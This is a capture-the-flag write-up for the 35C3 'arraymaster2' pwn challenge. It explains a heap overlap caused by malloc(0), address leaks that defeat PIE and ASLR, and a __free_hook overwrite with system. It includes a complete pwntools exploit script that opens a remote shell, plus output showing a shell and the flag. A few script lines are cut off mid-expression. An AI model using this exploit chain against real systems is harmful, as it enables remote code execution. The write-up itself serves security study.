arraymaster2

PWN

Description:

> We improved our security with more mitigations.

A binary file and a libc file were attached.

Solution:

This challenge is similar to arraymaster1, but `spawn_shell` was removed and several runtime protections were activated:

```
root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# checksec.sh -f ./arraymaster2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FOR
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   89 Symbols      Yes

root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# checksec.sh -f ../arraymaster1/arraymaster1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FOR
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   89 Symbols      Yes
```

The basic vulnerability still exists, meaning we can allocate a buffer of type 64, size (0xFFFFFFFFFFFFFFFF+1)/8 and cause the program to call `malloc(0)` - allowing us to use one buffer to access the contents of another buffer. However, this time we will have to work a bit harder to spawn a shell.

First, we have PIE enabled (Position-Independent Executable), so we first need to calculate the binary base address by subtracting the runtime address of a function from the compile-time address:

```
int64_set_runtime_address = get_entry(p, "A", 8)
e.address = int64_set_runtime_address - e.symbols["int64_set"]
```

To get the base address of LibC, we do the same with a LibC function:

```
set_entry(p, "A", 6, e.got["free"])
free_runtime_address = get_entry(p, "B", 0)

libc.address = free_runtime_address - libc.symbols["free"]
assert(libc.address & 0xFFF == 0)
```

Now, the first thing I tried in order to spawn a shell was to override the address of `int64_set` with an address from one_gadget:

```
set_entry(p, "A", 8, get_one_gadget(libc.address, args.remote) )
set_entry(p, "B", 0, 0)
```

This worked locally but not on the server, probably due to the different constraints posed by the different versions of LibC:

```
root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4345e execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x434b2 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe42ee execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL
```

So, the next thing I tried to do was override a GOT entry with `system`, however this failed since the Full RELRO is enabled:

> Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run. (Source)

The last resort was to override `__free_hook`:

> The value of this variable is a pointer to function that free uses whenever it is called. (Source)

It can be modified using the following logic:

```
set_entry(p, "A", 6, libc.symbols["__free_hook"])
set_entry(p, "B", 0, libc.symbols["system"])
```

The first line makes B's `arr_ptr` point to `__free_hook`, and the second one performs `*(arr_ptr + 0) = &system`. So the next time someone calls `free` on some pointer, LibC will call `__free_hook` which points to `system` and `system` will execute whatever the freed buffer points to.

I chose to provide the following line as an input command:

```
quit; /bin/sh
```

The relevant logic related to this command handling is:

```
; "quit"
lea r13, str.quit

...

; 0xe93 [gc]
; 0x13e0
; "\nEnter the command you want to execute. [...]"
lea rsi, str.Enter_the_command
mov edi, 1
mov eax, 0
call sym.imp.__printf_chk;[gq]
lea rdi, [command]
; [0x202030:8]=0
mov rdx, qword [obj.stdin__GLIBC_2.2.5]
mov rsi, rbx
call sym.imp.getline;[gt]
cmp rax, 0xffffffffffffffff
je 0xfbb;[gu]
```

```
...

; 0xf42 [gAa]
mov ecx, 4
; [0x8:8]=0
mov rsi, qword [command]
mov rdi, r13
repe cmpsb byte [rsi], byte ptr [rdi]
seta al
sbb al, 0
test al, al
je 0xfbb;[gu]

...

; 0xfbb [gu]
; [0x8:8]=0
mov rdi, qword [command]
; void free(void *ptr)
call sym.imp.free;[gAh]
mov eax, 0
; [0x38:8]=0x1c001d00400009
; '8'
mov rbx, qword [local_38h]
xor rbx, qword fs:[0x28]
jne 0xfe5;[gAi]
```

As you can see, the `command` buffer allocated by `getline` is freed when the program receives the `quit` command.

In our case, the buffer will contain `quit; /bin/sh`, causing the program to quit and then calling `free` (i.e. `system`) on the pointer. `system` won't understand what `quit` means, but it will give us a shell due to `/bin/sh`.

Putting it all together:

```
from pwn import *
import argparse


# context.log_level = "debug"
LOCAL_PATH = "./arraymaster2"

def get_process(is_remote = False):
    if is_remote:
        return remote("35.207.132.47", 22229)
    else:
        return process(LOCAL_PATH)

def get_libc_path(is_remote = False):
    if is_remote:
        return "./libc-2.27.so"
    else:
        return "/lib/x86_64-linux-gnu/libc.so.6"

def get_one_gadget(libc_base, is_remote = False):
    if is_remote:
        return libc_base + [0x4f2c5, 0x4f322, 0x10a38c][2]
    else:
        return libc_base + 0x434b2

def read_menu(proc):
    proc.recvuntil("\n> ")

def print_list(proc):
    read_menu(proc)
    proc.sendline("list")
    return proc.recvuntil("\nEnter the command you want to execute.", drop = True)

def init(proc, arr_id, arr_type, arr_length):
    read_menu(proc)
    proc.sendline("init {} {} {}".format(arr_id, arr_type, arr_length))
    log.info("Initializing array '{}' (Type: int{}, Length: {})".format(arr_id, arr_type, arr_length))

def delete(proc, arr_id):
```

```
    read_menu(proc)
    proc.sendline("delete {}".format(arr_id))
    log.info("Deleting array '{}'".format(arr_id))

def set_entry(proc, arr_id, arr_index, value):
    read_menu(proc)
    proc.sendline("set {} {} {}".format(arr_id, arr_index, value))
    log.info("Setting index #{} of array '{}' to value '{}' ({})".format(arr_index, arr_id, value, hex(valu

def get_entry(proc, arr_id, arr_index):
    read_menu(proc)
    proc.sendline("get {} {}".format(arr_id, arr_index))
    out = int(proc.recvline(keepends = False))
    log.info("Index #{} of array '{}' has value '{}' ({})".format(arr_index, arr_id, out, hex(out)))
    return out

def quit(proc):
    read_menu(proc)
    proc.sendline("quit")
    log.info("Quitting...")

parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()

e = ELF(LOCAL_PATH)
libc = ELF(get_libc_path(args.remote))

p = get_process(args.remote)

init(p, "A", 64, (0xFFFFFFFFFFFFFFFF+1)/8)

init(p, "B", 64, 1)

# Entries 0, 1, 2, 3 are malloc metadata
assert(get_entry(p, "A", 4) == 1)
assert(get_entry(p, "A", 5) == 64)
original_arr = get_entry(p, "A", 6)
int64_get_runtime_address = get_entry(p, "A", 7)
int64_set_runtime_address = get_entry(p, "A", 8)
assert(int64_set_runtime_address - int64_get_runtime_address == e.symbols["int64_set"] - e.symbols["int64_g

e.address = int64_set_runtime_address - e.symbols["int64_set"]

set_entry(p, "A", 6, e.got["free"])
free_runtime_address = get_entry(p, "B", 0)

libc.address = free_runtime_address - libc.symbols["free"]
assert(libc.address & 0xFFF == 0)

"""
Worked locally but not on the remote server:
set_entry(p, "A", 8, get_one_gadget(libc.address, args.remote) )
set_entry(p, "B", 0, 0)
"""


set_entry(p, "A", 6, libc.symbols["__free_hook"])
set_entry(p, "B", 0, libc.symbols["system"])
#p.sendline("quit; cat flag.txt")
p.sendline("quit; /bin/sh")

p.interactive()
```

The output:

```
root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/arraymaster2/arraymaster2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
```

```
[*] '/media/sf_CTFs/35c3ctf/arraymaster2/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.207.132.47 on port 22229: Done
[*] Initializing array 'A' (Type: int64, Length: 2305843009213693952)
[*] Initializing array 'B' (Type: int64, Length: 1)
[*] Index #4 of array 'A' has value '1' (0x1)
[*] Index #5 of array 'A' has value '64' (0x40)
[*] Index #6 of array 'A' has value '94565656191856' (0x5601c8586370)
[*] Index #7 of array 'A' has value '94565652265608' (0x5601c81c7a88)
[*] Index #8 of array 'A' has value '94565652265671' (0x5601c81c7ac7)
[*] Setting index #6 of array 'A' to value '94565654368120' (0x5601c83c8f78)
[*] Index #0 of array 'B' has value '140440834664784' (0x7fbaee0fe950)
[*] Setting index #6 of array 'A' to value '140440838162664' (0x7fbaee4548e8)
[*] Setting index #0 of array 'B' to value '140440834368576' (0x7fbaee0b6440)
[*] Switching to interactive mode

Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit

> sh: 1: quit: not found
$ ls
arraymaster2
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
35C3_b0dfdda5705de55960fdb114ca209773da135ef7
$ exit
[*] Got EOF while reading in interactive
$
$
$
[*] Closed connection to 35.207.132.47 port 22229
[*] Got EOF while sending in interactive
```

The flag: 35C3_b0dfdda5705de55960fdb114ca209773da135ef7